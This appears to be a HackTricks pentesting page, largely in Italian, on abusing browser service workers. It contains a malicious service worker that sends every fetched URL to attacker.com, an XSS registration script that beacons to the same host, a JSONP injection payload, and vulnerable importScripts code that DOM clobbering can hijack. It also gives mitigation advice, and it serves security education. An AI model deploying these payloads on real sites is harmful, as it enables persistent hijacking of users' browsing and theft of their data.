# Abusing Service Workers

{{#include ../../banners/hacktricks-training.md}}

## Basic Information

Un **service worker** è uno script eseguito dal tuo browser in background, separato da qualsiasi pagina web, che abilita funzionalità che non richiedono una pagina web o interazione dell'utente, migliorando così le capacità di **elaborazione offline e in background**. Informazioni dettagliate sui service worker possono essere trovate [qui](https://developers.google.com/web/fundamentals/primers/service-workers). Sfruttando i service worker all'interno di un dominio web vulnerabile, gli attaccanti possono ottenere il controllo sulle interazioni della vittima con tutte le pagine all'interno di quel dominio.

### Checking for Existing Service Workers

I service worker esistenti possono essere controllati nella sezione **Service Workers** della scheda **Application** negli **Strumenti per sviluppatori**. Un altro metodo è visitare [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) per una vista più dettagliata.

### Push Notifications

I **permessi delle notifiche push** influenzano direttamente la capacità di un **service worker** di comunicare con il server senza interazione diretta dell'utente. Se i permessi vengono negati, si limita il potenziale del service worker di costituire una minaccia continua. Al contrario, concedere permessi aumenta i rischi per la sicurezza abilitando la ricezione e l'esecuzione di potenziali exploit.

## Attack Creating a Service Worker

Per sfruttare questa vulnerabilità è necessario trovare:

- Un modo per **caricare file JS arbitrari** sul server e un **XSS per caricare il service worker** del file JS caricato
- Una **richiesta JSONP vulnerabile** dove puoi **manipolare l'output (con codice JS arbitrario)** e un **XSS** per **caricare il JSONP con un payload** che **caricherà un service worker malevolo**.

Nel seguente esempio presenterò un codice per **registrare un nuovo service worker** che ascolterà l'evento `fetch` e **invierà al server degli attaccanti ogni URL recuperato** (questo è il codice che dovresti **caricare** sul **server** o caricare tramite una **risposta JSONP vulnerabile**):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
E questo è il codice che **registrerà il worker** (il codice che dovresti essere in grado di eseguire abusando di un **XSS**). In questo caso, una richiesta **GET** verrà inviata al server **degli attaccanti** **notificando** se la **registrazione** del service worker è stata effettuata con successo o meno:
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
```
In caso di abuso di un endpoint JSONP vulnerabile, dovresti inserire il valore all'interno di `var sw`. Ad esempio:
```javascript
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
```
C'è un **C2** dedicato all'**sfruttamento dei Service Workers** chiamato [**Shadow Workers**](https://shadow-workers.github.io) che sarà molto utile per abusare di queste vulnerabilità.

La **direttiva di cache di 24 ore** limita la vita di un **service worker (SW)** malevolo o compromesso a un massimo di 24 ore dopo una correzione della vulnerabilità XSS, assumendo lo stato online del client. Per minimizzare la vulnerabilità, gli operatori del sito possono ridurre il Time-To-Live (TTL) dello script SW. Si consiglia inoltre agli sviluppatori di creare un [**kill-switch per il service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) per una rapida disattivazione.

## Abusare di `importScripts` in un SW tramite DOM Clobbering

La funzione **`importScripts`** chiamata da un Service Worker può **importare uno script da un dominio diverso**. Se questa funzione viene chiamata utilizzando un **parametro che un attaccante potrebbe** modificare, sarebbe in grado di **importare uno script JS dal suo dominio** e ottenere XSS.

**Questo bypassa anche le protezioni CSP.**

**Esempio di codice vulnerabile:**

- **index.html**
```html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
```
- **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker
```
### Con DOM Clobbering

Per ulteriori informazioni su cosa sia il DOM Clobbering, controlla:

{{#ref}}
dom-clobbering.md
{{#endref}}

Se l'URL/dominio che il SW sta utilizzando per chiamare **`importScripts`** è **all'interno di un elemento HTML**, è **possibile modificarlo tramite DOM Clobbering** per far sì che il SW **carichi uno script dal tuo dominio**.

Per un esempio di questo, controlla il link di riferimento.

## Riferimenti

- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)

{{#include ../../banners/hacktricks-training.md}}